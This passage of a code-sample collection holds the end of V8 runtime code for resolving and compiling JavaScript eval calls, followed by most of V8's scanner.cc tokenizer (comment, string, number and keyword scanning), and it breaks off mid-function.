eval_scope_position,\n\tint eval_position\n){\n\tHandle<Context> context = Handle<Context>(isolate->context());\n\tHandle<Context> native_context = Handle<Context>(context->native_context());\n\n\t// Check if native context allows code generation from\n\t// strings. Throw an exception if it doesn't.\n\tif (native_context->allow_code_gen_from_strings()->IsFalse() &&\n\t!CodeGenerationFromStringsAllowed(isolate, native_context)) {\n\t\tHandle<Object> error_message =\n\t\t\t\tnative_context->ErrorMessageForCodeGenerationFromStrings();\n\t\tHandle<Object> error;\n\t\tMaybeHandle<Object> maybe_error = isolate->factory()->NewEvalError(\n\t\t\t\tMessageTemplate::kCodeGenFromStrings, error_message);\n\t\tif (maybe_error.ToHandle(&error)) isolate->Throw(*error);\n\t\treturn isolate->heap()->exception();\n\t}\n\n\t// Deal with a normal eval call with a string argument. Compile it\n\t// and return the compiled function bound in the local context.\n\tstatic const ParseRestriction restriction = NO_PARSE_RESTRICTION;\n\tHandle<JSFunction> compiled;\n\tASSIGN_RETURN_ON_EXCEPTION_VALUE(\n\t\tisolate, compiled,\n\t\tCompiler::GetFunctionFromEval(\n\t\t\tsource, outer_info, context, language_mode,\n\t\t\trestriction, eval_scope_position, eval_position\n\t\t),\n\t\tisolate->heap()->exception()\n\t);\n\treturn *compiled;\n}\n\n\nRUNTIME_FUNCTION(Runtime_ResolvePossiblyDirectEval) {\n\tHandleScope scope(isolate);\n\tDCHECK(args.length() == 6);\n\n\tHandle<Object> callee = args.at<Object>(0);\n\n\t// If \"eval\" didn't refer to the original GlobalEval, it's not a\n\t// direct call to eval.\n\t// (And even if it is, but the first argument isn't a string, just let\n\t// execution default to an indirect call to eval, which will also return\n\t// the first argument without doing anything).\n\tif (*callee != isolate->native_context()->global_eval_fun() || !args[1]->IsString()) {\n\t\treturn *callee;\n\t}\n\n\tDCHECK(args[3]->IsSmi());\n\tDCHECK(is_valid_language_mode(args.smi_at(3)));\n\tLanguageMode language_mode = static_cast<LanguageMode>(args.smi_at(3));\n\tDCHECK(args[4]->IsSmi());\n\tHandle<SharedFunctionInfo> outer_info(args.at<JSFunction>(2)->shared(), isolate);\n\treturn CompileGlobalEval(\n\t\tisolate,\n\t\targs.at<String>(1),\n\t\touter_info,\n\t\tlanguage_mode,\n\t\targs.smi_at(4),\n\t\targs.smi_at(5)\n\t);\n}\n}\t// namespace internal\n}\t// namespace v8\n\n/* vim: set shiftwidth=4 softtabstop=0 cindent cinoptions={1s: */\n\n"
  },
  {
    "path": "samples/C++/scanner.cc",
    "content": "// Copyright 2011 the V8 project authors. All rights reserved.\n// Redistribution and use in source and binary forms, with or without\n// modification, are permitted provided that the following conditions are\n// met:\n//\n//     * Redistributions of source code must retain the above copyright\n//       notice, this list of conditions and the following disclaimer.\n//     * Redistributions in binary form must reproduce the above\n//       copyright notice, this list of conditions and the following\n//       disclaimer in the documentation and/or other materials provided\n//       with the distribution.\n//     * Neither the name of Google Inc. nor the names of its\n//       contributors may be used to endorse or promote products derived\n//       from this software without specific prior written permission.\n//\n// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n// \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\n// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\n// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\n// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\n// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n// Features shared by parsing and pre-parsing scanners.\n\n#include \"scanner.h\"\n\n#include \"../include/v8stdint.h\"\n#include \"char-predicates-inl.h\"\n\nnamespace v8 {\nnamespace internal {\n\n// ----------------------------------------------------------------------------\n// Scanner\n\nScanner::Scanner(UnicodeCache* unicode_cache)\n    : unicode_cache_(unicode_cache),\n      octal_pos_(Location::invalid()),\n      harmony_scoping_(false),\n      harmony_modules_(false) { }\n\n\nvoid Scanner::Initialize(Utf16CharacterStream* source) {\n  source_ = source;\n  // Need to capture identifiers in order to recognize \"get\" and \"set\"\n  // in object literals.\n  Init();\n  // Skip initial whitespace allowing HTML comment ends just like\n  // after a newline and scan first token.\n  has_line_terminator_before_next_ = true;\n  SkipWhiteSpace();\n  Scan();\n}\n\n\nuc32 Scanner::ScanHexNumber(int expected_length) {\n  ASSERT(expected_length <= 4);  // prevent overflow\n\n  uc32 digits[4] = { 0, 0, 0, 0 };\n  uc32 x = 0;\n  for (int i = 0; i < expected_length; i++) {\n    digits[i] = c0_;\n    int d = HexValue(c0_);\n    if (d < 0) {\n      // According to ECMA-262, 3rd, 7.8.4, page 18, these hex escapes\n      // should be illegal, but other JS VMs just return the\n      // non-escaped version of the original character.\n\n      // Push back digits that we have advanced past.\n      for (int j = i-1; j >= 0; j--) {\n        PushBack(digits[j]);\n      }\n      return -1;\n    }\n    x = x * 16 + d;\n    Advance();\n  }\n\n  return x;\n}\n\n\n// Ensure that tokens can be stored in a byte.\nSTATIC_ASSERT(Token::NUM_TOKENS <= 0x100);\n\n// Table of one-character tokens, by character (0x00..0x7f only).\nstatic const byte one_char_tokens[] = {\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::LPAREN,       // 0x28\n  Token::RPAREN,       // 0x29\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::COMMA,        // 0x2c\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::COLON,        // 0x3a\n  Token::SEMICOLON,    // 0x3b\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::CONDITIONAL,  // 0x3f\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::LBRACK,     // 0x5b\n  Token::ILLEGAL,\n  Token::RBRACK,     // 0x5d\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::ILLEGAL,\n  Token::LBRACE,       // 0x7b\n  Token::ILLEGAL,\n  Token::RBRACE,       // 0x7d\n  Token::BIT_NOT,      // 0x7e\n  Token::ILLEGAL\n};\n\n\nToken::Value Scanner::Next() {\n  current_ = next_;\n  has_line_terminator_before_next_ = false;\n  has_multiline_comment_before_next_ = false;\n  if (static_cast<unsigned>(c0_) <= 0x7f) {\n    Token::Value token = static_cast<Token::Value>(one_char_tokens[c0_]);\n    if (token != Token::ILLEGAL) {\n      int pos = source_pos();\n      next_.token = token;\n      next_.location.beg_pos = pos;\n      next_.location.end_pos = pos + 1;\n      Advance();\n      return current_.token;\n    }\n  }\n  Scan();\n  return current_.token;\n}\n\n\nstatic inline bool IsByteOrderMark(uc32 c) {\n  // The Unicode value U+FFFE is guaranteed never to be assigned as a\n  // Unicode character; this implies that in a Unicode context the\n  // 0xFF, 0xFE byte pattern can only be interpreted as the U+FEFF\n  // character expressed in little-endian byte order (since it could\n  // not be a U+FFFE character expressed in big-endian byte\n  // order). Nevertheless, we check for it to be compatible with\n  // Spidermonkey.\n  return c == 0xFEFF || c == 0xFFFE;\n}\n\n\nbool Scanner::SkipWhiteSpace() {\n  int start_position = source_pos();\n\n  while (true) {\n    // We treat byte-order marks (BOMs) as whitespace for better\n    // compatibility with Spidermonkey and other JavaScript engines.\n    while (unicode_cache_->IsWhiteSpace(c0_) || IsByteOrderMark(c0_)) {\n      // IsWhiteSpace() includes line terminators!\n      if (unicode_cache_->IsLineTerminator(c0_)) {\n        // Ignore line terminators, but remember them. This is necessary\n        // for automatic semicolon insertion.\n        has_line_terminator_before_next_ = true;\n      }\n      Advance();\n    }\n\n    // If there is an HTML comment end '-->' at the beginning of a\n    // line (with only whitespace in front of it), we treat the rest\n    // of the line as a comment. This is in line with the way\n    // SpiderMonkey handles it.\n    if (c0_ == '-' && has_line_terminator_before_next_) {\n      Advance();\n      if (c0_ == '-') {\n        Advance();\n        if (c0_ == '>') {\n          // Treat the rest of the line as a comment.\n          SkipSingleLineComment();\n          // Continue skipping white space after the comment.\n          continue;\n        }\n        PushBack('-');  // undo Advance()\n      }\n      PushBack('-');  // undo Advance()\n    }\n    // Return whether or not we skipped any characters.\n    return source_pos() != start_position;\n  }\n}\n\n\nToken::Value Scanner::SkipSingleLineComment() {\n  Advance();\n\n  // The line terminator at the end of the line is not considered\n  // to be part of the single-line comment; it is recognized\n  // separately by the lexical grammar and becomes part of the\n  // stream of input elements for the syntactic grammar (see\n  // ECMA-262, section 7.4).\n  while (c0_ >= 0 && !unicode_cache_->IsLineTerminator(c0_)) {\n    Advance();\n  }\n\n  return Token::WHITESPACE;\n}\n\n\nToken::Value Scanner::SkipMultiLineComment() {\n  ASSERT(c0_ == '*');\n  Advance();\n\n  while (c0_ >= 0) {\n    uc32 ch = c0_;\n    Advance();\n    if (unicode_cache_->IsLineTerminator(ch)) {\n      // Following ECMA-262, section 7.4, a comment containing\n      // a newline will make the comment count as a line-terminator.\n      has_multiline_comment_before_next_ = true;\n    }\n    // If we have reached the end of the multi-line comment, we\n    // consume the '/' and insert a whitespace. This way all\n    // multi-line comments are treated as whitespace.\n    if (ch == '*' && c0_ == '/') {\n      c0_ = ' ';\n      return Token::WHITESPACE;\n    }\n  }\n\n  // Unterminated multi-line comment.\n  return Token::ILLEGAL;\n}\n\n\nToken::Value Scanner::ScanHtmlComment() {\n  // Check for <!-- comments.\n  ASSERT(c0_ == '!');\n  Advance();\n  if (c0_ == '-') {\n    Advance();\n    if (c0_ == '-') return SkipSingleLineComment();\n    PushBack('-');  // undo Advance()\n  }\n  PushBack('!');  // undo Advance()\n  ASSERT(c0_ == '!');\n  return Token::LT;\n}\n\n\nvoid Scanner::Scan() {\n  next_.literal_chars = NULL;\n  Token::Value token;\n  do {\n    // Remember the position of the next token\n    next_.location.beg_pos = source_pos();\n\n    switch (c0_) {\n      case ' ':\n      case '\\t':\n        Advance();\n        token = Token::WHITESPACE;\n        break;\n\n      case '\\n':\n        Advance();\n        has_line_terminator_before_next_ = true;\n        token = Token::WHITESPACE;\n        break;\n\n      case '\"': case '\\'':\n        token = ScanString();\n        break;\n\n      case '<':\n        // < <= << <<= <!--\n        Advance();\n        if (c0_ == '=') {\n          token = Select(Token::LTE);\n        } else if (c0_ == '<') {\n          token = Select('=', Token::ASSIGN_SHL, Token::SHL);\n        } else if (c0_ == '!') {\n          token = ScanHtmlComment();\n        } else {\n          token = Token::LT;\n        }\n        break;\n\n      case '>':\n        // > >= >> >>= >>> >>>=\n        Advance();\n        if (c0_ == '=') {\n          token = Select(Token::GTE);\n        } else if (c0_ == '>') {\n          // >> >>= >>> >>>=\n          Advance();\n          if (c0_ == '=') {\n            token = Select(Token::ASSIGN_SAR);\n          } else if (c0_ == '>') {\n            token = Select('=', Token::ASSIGN_SHR, Token::SHR);\n          } else {\n            token = Token::SAR;\n          }\n        } else {\n          token = Token::GT;\n        }\n        break;\n\n      case '=':\n        // = == ===\n        Advance();\n        if (c0_ == '=') {\n          token = Select('=', Token::EQ_STRICT, Token::EQ);\n        } else {\n          token = Token::ASSIGN;\n        }\n        break;\n\n      case '!':\n        // ! != !==\n        Advance();\n        if (c0_ == '=') {\n          token = Select('=', Token::NE_STRICT, Token::NE);\n        } else {\n          token = Token::NOT;\n        }\n        break;\n\n      case '+':\n        // + ++ +=\n        Advance();\n        if (c0_ == '+') {\n          token = Select(Token::INC);\n        } else if (c0_ == '=') {\n          token = Select(Token::ASSIGN_ADD);\n        } else {\n          token = Token::ADD;\n        }\n        break;\n\n      case '-':\n        // - -- --> -=\n        Advance();\n        if (c0_ == '-') {\n          Advance();\n          if (c0_ == '>' && has_line_terminator_before_next_) {\n            // For compatibility with SpiderMonkey, we skip lines that\n            // start with an HTML comment end '-->'.\n            token = SkipSingleLineComment();\n          } else {\n            token = Token::DEC;\n          }\n        } else if (c0_ == '=') {\n          token = Select(Token::ASSIGN_SUB);\n        } else {\n          token = Token::SUB;\n        }\n        break;\n\n      case '*':\n        // * *=\n        token = Select('=', Token::ASSIGN_MUL, Token::MUL);\n        break;\n\n      case '%':\n        // % %=\n        token = Select('=', Token::ASSIGN_MOD, Token::MOD);\n        break;\n\n      case '/':\n        // /  // /* /=\n        Advance();\n        if (c0_ == '/') {\n          token = SkipSingleLineComment();\n        } else if (c0_ == '*') {\n          token = SkipMultiLineComment();\n        } else if (c0_ == '=') {\n          token = Select(Token::ASSIGN_DIV);\n        } else {\n          token = Token::DIV;\n        }\n        break;\n\n      case '&':\n        // & && &=\n        Advance();\n        if (c0_ == '&') {\n          token = Select(Token::AND);\n        } else if (c0_ == '=') {\n          token = Select(Token::ASSIGN_BIT_AND);\n        } else {\n          token = Token::BIT_AND;\n        }\n        break;\n\n      case '|':\n        // | || |=\n        Advance();\n        if (c0_ == '|') {\n          token = Select(Token::OR);\n        } else if (c0_ == '=') {\n          token = Select(Token::ASSIGN_BIT_OR);\n        } else {\n          token = Token::BIT_OR;\n        }\n        break;\n\n      case '^':\n        // ^ ^=\n        token = Select('=', Token::ASSIGN_BIT_XOR, Token::BIT_XOR);\n        break;\n\n      case '.':\n        // . Number\n        Advance();\n        if (IsDecimalDigit(c0_)) {\n          token = ScanNumber(true);\n        } else {\n          token = Token::PERIOD;\n        }\n        break;\n\n      case ':':\n        token = Select(Token::COLON);\n        break;\n\n      case ';':\n        token = Select(Token::SEMICOLON);\n        break;\n\n      case ',':\n        token = Select(Token::COMMA);\n        break;\n\n      case '(':\n        token = Select(Token::LPAREN);\n        break;\n\n      case ')':\n        token = Select(Token::RPAREN);\n        break;\n\n      case '[':\n        token = Select(Token::LBRACK);\n        break;\n\n      case ']':\n        token = Select(Token::RBRACK);\n        break;\n\n      case '{':\n        token = Select(Token::LBRACE);\n        break;\n\n      case '}':\n        token = Select(Token::RBRACE);\n        break;\n\n      case '?':\n        token = Select(Token::CONDITIONAL);\n        break;\n\n      case '~':\n        token = Select(Token::BIT_NOT);\n        break;\n\n      default:\n        if (unicode_cache_->IsIdentifierStart(c0_)) {\n          token = ScanIdentifierOrKeyword();\n        } else if (IsDecimalDigit(c0_)) {\n          token = ScanNumber(false);\n        } else if (SkipWhiteSpace()) {\n          token = Token::WHITESPACE;\n        } else if (c0_ < 0) {\n          token = Token::EOS;\n        } else {\n          token = Select(Token::ILLEGAL);\n        }\n        break;\n    }\n\n    // Continue scanning for tokens as long as we're just skipping\n    // whitespace.\n  } while (token == Token::WHITESPACE);\n\n  next_.location.end_pos = source_pos();\n  next_.token = token;\n}\n\n\nvoid Scanner::SeekForward(int pos) {\n  // After this call, we will have the token at the given position as\n  // the \"next\" token. The \"current\" token will be invalid.\n  if (pos == next_.location.beg_pos) return;\n  int current_pos = source_pos();\n  ASSERT_EQ(next_.location.end_pos, current_pos);\n  // Positions inside the lookahead token aren't supported.\n  ASSERT(pos >= current_pos);\n  if (pos != current_pos) {\n    source_->SeekForward(pos - source_->pos());\n    Advance();\n    // This function is only called to seek to the location\n    // of the end of a function (at the \"}\" token). It doesn't matter\n    // whether there was a line terminator in the part we skip.\n    has_line_terminator_before_next_ = false;\n    has_multiline_comment_before_next_ = false;\n  }\n  Scan();\n}\n\n\nbool Scanner::ScanEscape() {\n  uc32 c = c0_;\n  Advance();\n\n  // Skip escaped newlines.\n  if (unicode_cache_->IsLineTerminator(c)) {\n    // Allow CR+LF newlines in multiline string literals.\n    if (IsCarriageReturn(c) && IsLineFeed(c0_)) Advance();\n    // Allow LF+CR newlines in multiline string literals.\n    if (IsLineFeed(c) && IsCarriageReturn(c0_)) Advance();\n    return true;\n  }\n\n  switch (c) {\n    case '\\'':  // fall through\n    case '\"' :  // fall through\n    case '\\\\': break;\n    case 'b' : c = '\\b'; break;\n    case 'f' : c = '\\f'; break;\n    case 'n' : c = '\\n'; break;\n    case 'r' : c = '\\r'; break;\n    case 't' : c = '\\t'; break;\n    case 'u' : {\n      c = ScanHexNumber(4);\n      if (c < 0) return false;\n      break;\n    }\n    case 'v' : c = '\\v'; break;\n    case 'x' : {\n      c = ScanHexNumber(2);\n      if (c < 0) return false;\n      break;\n    }\n    case '0' :  // fall through\n    case '1' :  // fall through\n    case '2' :  // fall through\n    case '3' :  // fall through\n    case '4' :  // fall through\n    case '5' :  // fall through\n    case '6' :  // fall through\n    case '7' : c = ScanOctalEscape(c, 2); break;\n  }\n\n  // According to ECMA-262, section 7.8.4, characters not covered by the\n  // above cases should be illegal, but they are commonly handled as\n  // non-escaped characters by JS VMs.\n  AddLiteralChar(c);\n  return true;\n}\n\n\n// Octal escapes of the forms '\\0xx' and '\\xxx' are not a part of\n// ECMA-262. Other JS VMs support them.\nuc32 Scanner::ScanOctalEscape(uc32 c, int length) {\n  uc32 x = c - '0';\n  int i = 0;\n  for (; i < length; i++) {\n    int d = c0_ - '0';\n    if (d < 0 || d > 7) break;\n    int nx = x * 8 + d;\n    if (nx >= 256) break;\n    x = nx;\n    Advance();\n  }\n  // Anything except '\\0' is an octal escape sequence, illegal in strict mode.\n  // Remember the position of octal escape sequences so that an error\n  // can be reported later (in strict mode).\n  // We don't report the error immediately, because the octal escape can\n  // occur before the \"use strict\" directive.\n  if (c != '0' || i > 0) {\n    octal_pos_ = Location(source_pos() - i - 1, source_pos() - 1);\n  }\n  return x;\n}\n\n\nToken::Value Scanner::ScanString() {\n  uc32 quote = c0_;\n  Advance();  // consume quote\n\n  LiteralScope literal(this);\n  while (c0_ != quote && c0_ >= 0\n         && !unicode_cache_->IsLineTerminator(c0_)) {\n    uc32 c = c0_;\n    Advance();\n    if (c == '\\\\') {\n      if (c0_ < 0 || !ScanEscape()) return Token::ILLEGAL;\n    } else {\n      AddLiteralChar(c);\n    }\n  }\n  if (c0_ != quote) return Token::ILLEGAL;\n  literal.Complete();\n\n  Advance();  // consume quote\n  return Token::STRING;\n}\n\n\nvoid Scanner::ScanDecimalDigits() {\n  while (IsDecimalDigit(c0_))\n    AddLiteralCharAdvance();\n}\n\n\nToken::Value Scanner::ScanNumber(bool seen_period) {\n  ASSERT(IsDecimalDigit(c0_));  // the first digit of the number or the fraction\n\n  enum { DECIMAL, HEX, OCTAL } kind = DECIMAL;\n\n  LiteralScope literal(this);\n  if (seen_period) {\n    // we have already seen a decimal point of the float\n    AddLiteralChar('.');\n    ScanDecimalDigits();  // we know we have at least one digit\n\n  } else {\n    // if the first character is '0' we must check for octals and hex\n    if (c0_ == '0') {\n      int start_pos = source_pos();  // For reporting octal positions.\n      AddLiteralCharAdvance();\n\n      // either 0, 0exxx, 0Exxx, 0.xxx, an octal number, or a hex number\n      if (c0_ == 'x' || c0_ == 'X') {\n        // hex number\n        kind = HEX;\n        AddLiteralCharAdvance();\n        if (!IsHexDigit(c0_)) {\n          // we must have at least one hex digit after 'x'/'X'\n          return Token::ILLEGAL;\n        }\n        while (IsHexDigit(c0_)) {\n          AddLiteralCharAdvance();\n        }\n      } else if ('0' <= c0_ && c0_ <= '7') {\n        // (possible) octal number\n        kind = OCTAL;\n        while (true) {\n          if (c0_ == '8' || c0_ == '9') {\n            kind = DECIMAL;\n            break;\n          }\n          if (c0_  < '0' || '7'  < c0_) {\n            // Octal literal finished.\n            octal_pos_ = Location(start_pos, source_pos());\n            break;\n          }\n          AddLiteralCharAdvance();\n        }\n      }\n    }\n\n    // Parse decimal digits and allow trailing fractional part.\n    if (kind == DECIMAL) {\n      ScanDecimalDigits();  // optional\n      if (c0_ == '.') {\n        AddLiteralCharAdvance();\n        ScanDecimalDigits();  // optional\n      }\n    }\n  }\n\n  // scan exponent, if any\n  if (c0_ == 'e' || c0_ == 'E') {\n    ASSERT(kind != HEX);  // 'e'/'E' must be scanned as part of the hex number\n    if (kind == OCTAL) return Token::ILLEGAL;  // no exponent for octals allowed\n    // scan exponent\n    AddLiteralCharAdvance();\n    if (c0_ == '+' || c0_ == '-')\n      AddLiteralCharAdvance();\n    if (!IsDecimalDigit(c0_)) {\n      // we must have at least one decimal digit after 'e'/'E'\n      return Token::ILLEGAL;\n    }\n    ScanDecimalDigits();\n  }\n\n  // The source character immediately following a numeric literal must\n  // not be an identifier start or a decimal digit; see ECMA-262\n  // section 7.8.3, page 17 (note that we read only one decimal digit\n  // if the value is 0).\n  if (IsDecimalDigit(c0_) || unicode_cache_->IsIdentifierStart(c0_))\n    return Token::ILLEGAL;\n\n  literal.Complete();\n\n  return Token::NUMBER;\n}\n\n\nuc32 Scanner::ScanIdentifierUnicodeEscape() {\n  Advance();\n  if (c0_ != 'u') return -1;\n  Advance();\n  uc32 result = ScanHexNumber(4);\n  if (result < 0) PushBack('u');\n  return result;\n}\n\n\n// ----------------------------------------------------------------------------\n// Keyword Matcher\n\n#define KEYWORDS(KEYWORD_GROUP, KEYWORD)                            \\\n  KEYWORD_GROUP('b')                                                \\\n  KEYWORD(\"break\", Token::BREAK)                                    \\\n  KEYWORD_GROUP('c')                                                \\\n  KEYWORD(\"case\", Token::CASE)                                      \\\n  KEYWORD(\"catch\", Token::CATCH)                                    \\\n  KEYWORD(\"class\", Token::FUTURE_RESERVED_WORD)                     \\\n  KEYWORD(\"const\", Token::CONST)                                    \\\n  KEYWORD(\"continue\", Token::CONTINUE)                              \\\n  KEYWORD_GROUP('d')                                                \\\n  KEYWORD(\"debugger\", Token::DEBUGGER)                              \\\n  KEYWORD(\"default\", Token::DEFAULT)                                \\\n  KEYWORD(\"delete\", Token::DELETE)                                  \\\n  KEYWORD(\"do\", Token::DO)                                          \\\n  KEYWORD_GROUP('e')                                                \\\n  KEYWORD(\"else\", Token::ELSE)                                      \\\n  KEYWORD(\"enum\", Token::FUTURE_RESERVED_WORD)                      \\\n  KEYWORD(\"export\", harmony_modules                                 \\\n                    ? Token::EXPORT : Token::FUTURE_RESERVED_WORD)  \\\n  KEYWORD(\"extends\", Token::FUTURE_RESERVED_WORD)                   \\\n  KEYWORD_GROUP('f')                                                \\\n  KEYWORD(\"false\", Token::FALSE_LITERAL)                            \\\n  KEYWORD(\"finally\", Token::FINALLY)                                \\\n  KEYWORD(\"for\", Token::FOR)                                        \\\n  KEYWORD(\"function\", Token::FUNCTION)                              \\\n  KEYWORD_GROUP('i')                                                \\\n  KEYWORD(\"if\", Token::IF)                                          \\\n  KEYWORD(\"implements\", Token::FUTURE_STRICT_RESERVED_WORD)         \\\n  KEYWORD(\"import\", harmony_modules                                 \\\n                    ? Token::IMPORT : Token::FUTURE_RESERVED_WORD)  \\\n  KEYWORD(\"in\", Token::IN)                                          \\\n  KEYWORD(\"instanceof\", Token::INSTANCEOF)                          \\\n  KEYWORD(\"interface\", Token::FUTURE_STRICT_RESERVED_WORD)          \\\n  KEYWORD_GROUP('l')                                                \\\n  KEYWORD(\"let\", harmony_scoping                                    \\\n                 ? Token::LET : Token::FUTURE_STRICT_RESERVED_WORD) \\\n  KEYWORD_GROUP('n')                                                \\\n  KEYWORD(\"new\", Token::NEW)                                        \\\n  KEYWORD(\"null\", Token::NULL_LITERAL)                              \\\n  KEYWORD_GROUP('p')                                                \\\n  KEYWORD(\"package\", Token::FUTURE_STRICT_RESERVED_WORD)            \\\n  KEYWORD(\"private\", Token::FUTURE_STRICT_RESERVED_WORD)            \\\n  KEYWORD(\"protected\", Token::FUTURE_STRICT_RESERVED_WORD)          \\\n  KEYWORD(\"public\", Token::FUTURE_STRICT_RESERVED_WORD)             \\\n  KEYWORD_GROUP('r')                                                \\\n  KEYWORD(\"return\", Token::RETURN)                                  \\\n  KEYWORD_GROUP('s')                                                \\\n  KEYWORD(\"static\", Token::FUTURE_STRICT_RESERVED_WORD)             \\\n  KEYWORD(\"super\", Token::FUTURE_RESERVED_WORD)                     \\\n  KEYWORD(\"switch\", Token::SWITCH)                                  \\\n  KEYWORD_GROUP('t')                                                \\\n  KEYWORD(\"this\", Token::THIS)                                      \\\n  KEYWORD(\"throw\", Token::THROW)                                    \\\n  KEYWORD(\"true\", Token::TRUE_LITERAL)                              \\\n  KEYWORD(\"try\", Token::TRY)                                        \\\n  KEYWORD(\"typeof\", Token::TYPEOF)                                  \\\n  KEYWORD_GROUP('v')                                                \\\n  KEYWORD(\"var\", Token::VAR)                                        \\\n  KEYWORD(\"void\", Token::VOID)                                      \\\n  KEYWORD_GROUP('w')                                                \\\n  KEYWORD(\"while\", Token::WHILE)                                    \\\n  KEYWORD(\"with\", Token::WITH)                                      \\\n  KEYWORD_GROUP('y')                                                \\\n  KEYWORD(\"yield\", Token::FUTURE_STRICT_RESERVED_WORD)\n\n\nstatic Token::Value KeywordOrIdentifierToken(const char* input,\n                                             int input_length,\n                                             bool harmony_scoping,\n                                             bool harmony_modules) {\n  ASSERT(input_length >= 1);\n  const int kMinLength = 2;\n  const int kMaxLength = 10;\n  if (input_length < kMinLength || input_length > kMaxLength) {\n    return Token::IDENTIFIER;\n  }\n  switch (input[0]) {\n    default:\n#define KEYWORD_GROUP_CASE(ch)                                \\\n      break;                                                  \\\n    case ch:\n#define KEYWORD(keyword, token)                               \\\n    {                                                         \\\n      /* 'keyword' is a char array, so sizeof(keyword) is */  \\\n      /* strlen(keyword) plus 1 for the NUL char. */          \\\n      const int keyword_length = sizeof(keyword) - 1;         \\\n      STATIC_ASSERT(keyword_length >= kMinLength);            \\\n      STATIC_ASSERT(keyword_length <= kMaxLength);            \\\n      if (input_length == keyword_length &&                   \\\n          input[1] == keyword[1] &&                           \\\n          (keyword_length <= 2 || input[2] == keyword[2]) &&  \\\n          (keyword_length <= 3 || input[3] == keyword[3]) &&  \\\n          (keyword_length <= 4 || input[4] == keyword[4]) &&  \\\n          (keyword_length <= 5 || input[5] == keyword[5]) &&  \\\n          (keyword_length <= 6 || input[6] == keyword[6]) &&  \\\n          (keyword_length <= 7 || input[7] == keyword[7]) &&  \\\n          (keyword_length <= 8 || input[8] == keyword[8]) &&  \\\n          (keyword_length <= 9 || input[9] == keyword[9])) {  \\\n        return token;                                         \\\n      }                                                       \\\n    }\n    KEYWORDS(KEYWORD_GROUP_CASE, KEYWORD)\n  }\n  return Token::IDENTIFIER;\n}\n\n\nToken::Value Scanner::ScanIdentifierOrKeyword() {\n  ASSERT(unicode_cache_->IsIdentifierStart(c0_));\n  LiteralScope literal(this);\n  // Scan identifier start character.\n  if (c0_ == '\\\\') {\n    uc32 c = ScanIdentifierUnicodeEscape();\n    // Only allow legal identifier start characters.\n    if (c < 0 ||\n        c == '\\\\' ||  // No recursive escapes.\n        !unicode_cache_->IsIdentifierStart(c)) {\n      return Token::ILLEGAL;\n    }\n    AddLiteralChar(c);\n    return ScanIdentifierSuffix(&literal);\n  }\n\n 